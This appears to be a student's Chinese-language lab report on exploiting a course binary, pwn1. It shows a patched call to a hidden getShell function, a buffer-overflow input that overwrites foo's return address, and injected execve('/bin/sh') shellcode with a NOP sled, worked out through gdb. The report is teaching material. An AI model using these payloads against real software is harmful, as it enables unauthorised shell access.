20164321 王君陶 Exp1 PC平台逆向破解
一、实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
这几种思路,基本代表现实情况中的攻击目标:
运行原本不可访问的代码片段
强行修改程序执行流
以及注入运行任意代码。
二、基础知识:
1.通过结合计算机组成原理以及查阅相关资料,我们知道了NOP, JNE, JE, JMP, CMP等常用汇编指令的机器码:
NOP:一个空指令,什么都不做,让cpu等待一段时间,并且该指令会自动对齐寻址。机器码为0x90;
JNE:一个条件转移指令,当零标志z=0时跳转至标号,z=1时顺序执行下一条指令。机器码为0x75;
JE:一个条件转移指令,当零标志z=1时跳转至标号,z=0时顺序执行下一条指令。机器码为0x74;
JMP:无条件转移指令。段内直接近转移Jmp near,机器码为0xe9; 段内间接转移Jmp word,机器码为0xff;段内直接短转Jmp short,机器码为0xeb; 段间直接(远)转移Jmp far,机器码为0xea;
CMP:比较指令,执行减法操作但不保存运算结果。
2.掌握反汇编与十六进制编程器
通过查阅资料我们可以知道:
objdump反汇编命令:
objdump -f test //显示test的文件头信息
objdump -d test //反汇编test中的需要执行指令的那些section
objdump -D test //与-d类似,但反汇编test中的所有section
objdump -h test //显示test的Section Header信息
objdump -x test //显示test的全部Header信息
objdump -s test //除了显示test的全部Header信息,还显示他们对应的十六进制文件代码
xxd命令:
用vi命令打开一个文件,在vi命令模式下输入
:%!xxd //回车后,该文件会以十六进制形式显示
:%!xxd -r //参数-r是指将当前的十六进制转换为二进制
三、实践内容
1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
设置共享文件夹将pwn1文件导入主目录后并修改文件名为20164321,输入:
objdump -d 20164321 | more
得到反汇编代码:
继续下拉,找到getshell、foo与main函数:
由主函数我们可以看出main函数调用foo,相应的机器指令为“e8 d7ffffff”,其中“e8”为跳转的意思。本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行“EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,即为目标地址偏移量,41=0x29,80484ba+d7ffffff= 80484ba-0x29正好是8048491这个值,即为跳转的目标地址。那我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。用Windows计算器,直接47d-4ba就能得到补码,是c3ffffff。注意计算时是小端模式低字节优先。
修改可执行文件,将call指令的目标地址由d7ffffff变为c3ffffff。
进入到文件的vi模式,输入:
vim 20164321
按esc键退出,输入:
:%!xxd
以查看其十六进制
输入:
/e8 d7
找到目标代码 在000004b0
记录目标位置在000004b0这行,找到目标,将光标移至d,按r键后修改为c,同理修改7为3:
输入:
:%!xxd -r
转换16进制为原格式
输入:
:wq
存盘退出
对文件再次进行反汇编,找到主函数中之前调用foo的位置,发现call指令已经改为调用getshell了
运行后发现可以调用shell
2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
进行反汇编
我们可以利用foo函数中的Buffer overflow漏洞,造成缓冲区溢出,来覆盖返回地址为主函数中的80484ba,从而调用getshell函数。
2.1确认输入字符串哪几个字符会覆盖到返回地址
输入:
gdb 20164321-2
再输入r指令执行程序,我们可以尝试着输入一段字符串1111111122222222333333334444444412345678共40个字符
再输入info r查看寄存器信息发现正是之前0x34333231,即为4321的ASCII码,根据老师上课所讲的知识可以知道Linux地址是由高到低的,说明覆盖成功,之后的操作将其修改为getshell地址就能返回运行到getshell了。
由于是第32为之后的覆盖成功,能由此可见缓存区32个字节。
2.2构造输入字符串
由于小端模式我们将地址倒过来输入即可:(原为0804847d改为7d840408)
11111111222222223333333344444444\x7d\x84\x04\x08
再之后加一个\x0a表示回车就构造完成了。
输入:
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
将input的输入,通过管道符“|”,作为20164321-2的输入,即可攻击成功
3.注入一个自己制作的shellcode并运行这段shellcode
3.1准备一段shellcode
使用\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
这段机器指令,获取一个交互式的shell
3.2下载execstack,使用期关闭地址随机化,减少实验难度(0为关闭,2为开启)
3.3构造注入需要的payload
采用retaddr+nop+shellcode结构进行构造(nop一为是了填充,二是作为“着陆区/滑行区”。我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。):
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
\x4\x3\x2\x1是将来要存放覆盖RET地址的位置。
3.4进行攻击
输入之前构造的代码
同时开启另一个终端来调试进程
输入:
ps -ef | grep 20164321-3
启动gdb调试这个进程
attach 5447
通过设置断点,来查看注入buf的内存地址
通过disassemble foo进行反汇编以设置断点
输入break *0x080484ae
再输入info r esp
对esp语句进行查找
我们可以看到0xffffd30内容被覆盖为了1234,我们需要将之后的90909090覆盖,则往后移四位地址,则目标地址为:0xffffd310
由此我们可以重新构造攻击代码:
perl -e 'print "A" x 32;print "\x10\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
攻击成功!
四、实验收获与感想
1.实验收获
这次实验是我第一次进行网络对抗实验,在实验过程中,我深切感受到自己linux基本功的不扎实,对实验内容也不够了解,简直就是上课听不懂,下课两行泪啊。
第一个实验就遇到了问题,修改地址完成后,运行文件发现非法,尝试解决无果后,重新做了一次才成功。
这次实验不表现了我动手能力的不足,希望在今后的几次实验中,我能够收获知识与实践能力。
2.什么是漏洞?漏洞有什么危害?
漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,也就是我们所说的“bug”。就像本次实验中利用foo函数的Bof漏洞,就是程序代码存在一定的漏洞。
这些漏洞大多都是由于设计时不够严谨导致的,比如边界检查,输入值的判断,还有指针的调用。
这些漏洞轻则会使程序奔溃,重则会被恶意攻击者所利用,造成财产经济的损失。
20164321 王君陶 Exp1 PC平台逆向破解的更多相关文章
- 20155324《网络对抗》Exp1 PC平台逆向破解(5)M
20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...
- 2018-2019-2 20165237《网络攻防技术》Exp1 PC平台逆向破解
2018-2019-2 20165237<网络攻防技术>Exp1 PC平台逆向破解 一.实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调 ...
- 20165221 《网络对抗技术》EXP1 PC平台逆向破解
20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...
- 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...
- 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解
- 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...
- Exp1 PC平台逆向破解 20165235 祁瑛
Exp1 PC平台逆向破解 20165235 祁瑛 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字 ...
- 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...
- 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...
- 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解
2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...
随机推荐
- linux系统命令笔记
一.linux系统目录 /bin 系统命令目录 /dev 设备目录 /home 每个系统用户在home下都有一个目录, 每个用户登录到系统后会自动登录到这个目录下, root用户会在/root文件夹下 ...
- 3D文件压缩库——Draco简析
3D文件压缩库——Draco简析 今年1月份时,google发布了名为“Draco”的3D图形开源压缩库,下载了其代码来看了下,感觉虽然暂时用不到,但还是有前途的,故简单做下分析. 注:Draco 代 ...
- JVM家族史考【转】
说起Java虚拟机,许多Java程序员都会潜意识地把它与Sun(虽然太阳已然西落,但永远值得被记忆) HotSpot虚拟机等同看待,也许还有一些程序员会注意到BEA JRockit和IBM J9,但大 ...
- linux小白
1. linux下加域名. 文件是在/etc/hosts 中间加的tab键 192.168.0.1 baidu.com linux下测试网页可以用 wget www.baidu.com 这个命 ...
- python list和函数之间的复制和原地址修改问题
def change(a): a.pop() #自带的方法都是原地址修改 a=[,,] change(a) print (a)#直接修改了3. def change(a): a=[,,,] #复制操作 ...
- 创建一个子进程---vfork
子.父进程共享数据段与堆栈段 函数原型:pid_t vfork(void) 返回值:子进程中返回0,父进程中返回子进程ID,出错返回-1. 注意: vfork创建的进程是按先子进程后父进程的顺序执行的 ...
- 05 数据库入门学习-正则表达式、用户管理、pymysql模块
一.正则表达式 正则表达式用于模糊查询,模糊查询已经讲过了 like 仅支持 % 和 _ 远没有正则表达式灵活当然绝大多数情况下 like足够使用 #语法 select *from table whe ...
- 2018.09.25 poj2068 Nim(博弈论+dp)
传送门 题意简述:m个石子,有两个队每队n个人循环取,每个人每次取石子有数量限制,取最后一块的输,问先手能否获胜. 博弈论+dp. 我们令f[i][j]f[i][j]f[i][j]表示当前第i个人取石 ...
- Spring boot 注解简单备忘
Spring boot 注解简单备忘 1.定义注解 package com.space.aspect.anno;import java.lang.annotation.*; /** * 定义系统日志注 ...
- 38 Cell-phone Emissions can change Brain Activity 手机辐射有可能改变大脑活动
Cell-phone Emissions can change Brain Activity 手机辐射有可能改变大脑活动 So many people use the cell phone so fr ...